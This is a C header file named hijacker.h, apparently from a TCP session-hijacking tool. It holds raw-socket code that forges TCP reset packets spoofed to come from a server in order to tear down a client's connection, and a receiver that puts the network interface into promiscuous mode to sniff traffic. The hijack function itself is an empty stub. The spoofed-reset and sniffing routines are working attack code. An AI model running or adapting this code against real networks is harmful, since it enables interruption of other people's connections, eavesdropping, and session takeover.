//-------------------------------------------------------------------
//	Name	--	hijacker.h
//	Author	--	Nima Honarmand
//	Version	--	1.0
//-------------------------------------------------------------------	
#include <sys/socket.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <string.h>
#include <stdio.h>

#define IPHL  sizeof(struct iphdr)
#define TCPHL sizeof(struct tcphdr)

typedef int Socket;

typedef struct _PsuedueIPHeader {
    int 	saddr;
    int 	daddr;
    char	zero_byte;
    char	protocol;
    short int	segLen;
} PsuedueIPHeader;

#define PSHL sizeof(PsuedueIPHeader)

typedef struct _PsuedueIP {
    PsuedueIPHeader piphdr;
    struct tcphdr tcp;
//    char	    data[ETH_DATA_LEN];
} PsuedueIP;

typedef struct _EmptyIPDgram {
    struct iphdr 	ip;
    struct tcphdr	tcp;
} EmptyIPDgram;

static PsuedueIP pip;
static char ipd[ETH_DATA_LEN];

unsigned short in_cksum(unsigned short *addr,int len)
;
void ResetClient(Socket sender, struct sockaddr_in *server,
		 struct sockaddr_in *client, int ack, int seq);
/*		 
void HijackConnection(Socket sender, Socket receiver,
			struct sockaddr_in *server, struct sockaddr_in *client,
			    int ack, int seq);
*/			    
int CreateSender();
int CreateReceiver();
//---------------------------Actual Routines----------------------------------\\

unsigned short in_cksum(unsigned short *addr,int len)
{

    register int nleft = len;
    register unsigned short *w = addr;
    register int sum = 0;
    unsigned short answer = 0;
        
    while (nleft > 1)
{ 
	sum += *w++;
        nleft -= 2;
    }
//:while
    
    if (nleft == 1)
{
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }//:if
    
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    answer = ~sum;
    return(answer);
}//:in_cksum
 	
void ResetClient(Socket sender, struct sockaddr_in *server,
		 struct sockaddr_in *client, int ack, int seq){
/*		 
    struct iphdr *ip;
    struct tcphdr *tcp; 
    struct tcphdr *ptcp;
    int    result;
    
    ip  = (struct iphdr  *)ipd;
    tcp = (struct tcphdr *)(ipd + IPHL);
    ptcp= (struct tcphdr *)(pip.data + PSHL);
    
    bzero(&pip, PSHL + TCPHL);
#ifdef DEBUG
    printf("Reset : Source address is %s.\n",inet_ntoa(server->sin_addr.s_addr));
    printf("Reset : Dest address is %s.\n",inet_ntoa(client->sin_addr.s_addr));
    printf("Reset : Source port is %d.\n",ntohs(server->sin_port));
    printf("Reset : Dest port is %d.\n",ntohs(client->sin_port));    
#endif
    pip.piphdr.saddr = server->sin_addr.s_addr;
    pip.piphdr.daddr = client->sin_addr.s_addr;
    pip.piphdr.zero_byte = 0;
    pip.piphdr.protocol = 6;
    pip.piphdr.segLen   = IPHL + TCPHL;
    
    bzero(ipd, IPHL + TCPHL);
    
    ip->version = 4;
    ip->ihl	= IPHL / 5;
    ip->tot_len = IPHL + TCPHL;
    ip->id	= 12789;
    ip->ttl	= 100;	
    ip->protocol= 6;
    ip->saddr   = server->sin_addr.s_addr;
    ip->daddr	= client->sin_addr.s_addr;
    ip->check	= in_cksum((unsigned short *)ip, IPHL);
    
    ptcp->source = tcp->source 	= server->sin_port;
    ptcp->dest   = tcp->dest   	= client->sin_port;
    ptcp->seq	 = tcp->seq	= htonl(seq);
    ptcp->ack_seq= tcp->ack_seq	= htonl(ack);
    ptcp->doff   = tcp->doff	= TCPHL / 4;
    ptcp->rst	 = tcp->rst	= 1;
    tcp->check	 = in_cksum((unsigned short *)&pip, PSHL + TCPHL);
    
    result = sendto(sender, (void *)ipd, IPHL + TCPHL,0,
		(struct sockaddr *)client, sizeof(struct sockaddr));
		
    if (result != IPHL + TCPHL) {
	perror("Error during client reset:");
	exit(1);
    }//:if	
*/
    EmptyIPDgram eid;
    int result;
    
    bzero((char *)&eid, sizeof(EmptyIPDgram));
    
    eid.ip.version = 4;
    eid.ip.ihl     = 5;			// 20 bytes IP header.
    eid.ip.tot_len = 40;
    eid.ip.ttl     = 100;
    eid.ip.protocol= 6;
    eid.ip.id      = 45213;			// only for test.
    eid.ip.saddr   = server->sin_addr.s_addr;
    eid.ip.daddr   = client->sin_addr.s_addr;
    eid.ip.check   = in_cksum((unsigned short *)&eid,20);// IP header checksum.
     
    eid.tcp.source = server->sin_port;
    eid.tcp.dest   = client->sin_port;
    eid.tcp.doff   = 5;			// 20 bytes TCP header.
    eid.tcp.ack_seq= htonl(ack);
    eid.tcp.seq    = htonl(seq);
    eid.tcp.rst    = 1;
    
    // computing TCP checksum.
    
    // first creating psuedue packet.
    pip.piphdr.saddr = server->sin_addr.s_addr;	
    pip.piphdr.daddr = client->sin_addr.s_addr;	  	
    pip.piphdr.zero_byte = 0;
    pip.piphdr.protocol  = 6;
    pip.piphdr.segLen    = 40;
    bcopy((void *)&(eid.tcp),(void *) &(pip.tcp), 20);
    
    // then computing checksum.	
    eid.tcp.check	 = in_cksum((unsigned short *) &pip,32);
    
    result = sendto(sender,(void *)&eid,sizeof(EmptyIPDgram),0,
	         (struct sockaddr *)client, sizeof(struct sockaddr_in));
//    return ( (result == 40) ? 0 : -1);

}//:ResetClient

void HijackConnection(Socket sender, Socket receiver,
			struct sockaddr_in *server, struct sockaddr_in *client,
			    int ack, int seq){
        
}//:HijackConnection			    

int CreateSender(){
    int s;
    
    s = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
    if (s < 0) {
	perror("CreateSender : Socket creation failed.");
	exit(1);
    }//:if
    
    // Yuhu, Success achieved.
    return s;
}//:CreateSenedr

int CreateReceiver(){
    int s;
    struct packet_mreq sockopt;
    int result;
    
    s = socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_IP));
    if (s < 0) {
	perror("CreateReceiver : Socket creation failed.");
	exit(1);
    }//:if
    
    // Setting Socket Options.
    // To be exact, putting first NI in promiscuous mode.
    sockopt.mr_ifindex 	= 1;
    sockopt.mr_type    	= PACKET_MR_PROMISC;
    sockopt.mr_alen	= 0;
    sockopt.mr_address[0] = '\0';
    
    result = setsockopt(s, SOL_PACKET, PACKET_ADD_MEMBERSHIP,
			    (void *)&sockopt, sizeof(sockopt));
    if (result < 0) {
	perror("CreateReceiver : Can't set socket options.");
	exit(1);
    }//:if
    
    // Yuhu, Success achieved.
    return s;
}//:CreateReceiver
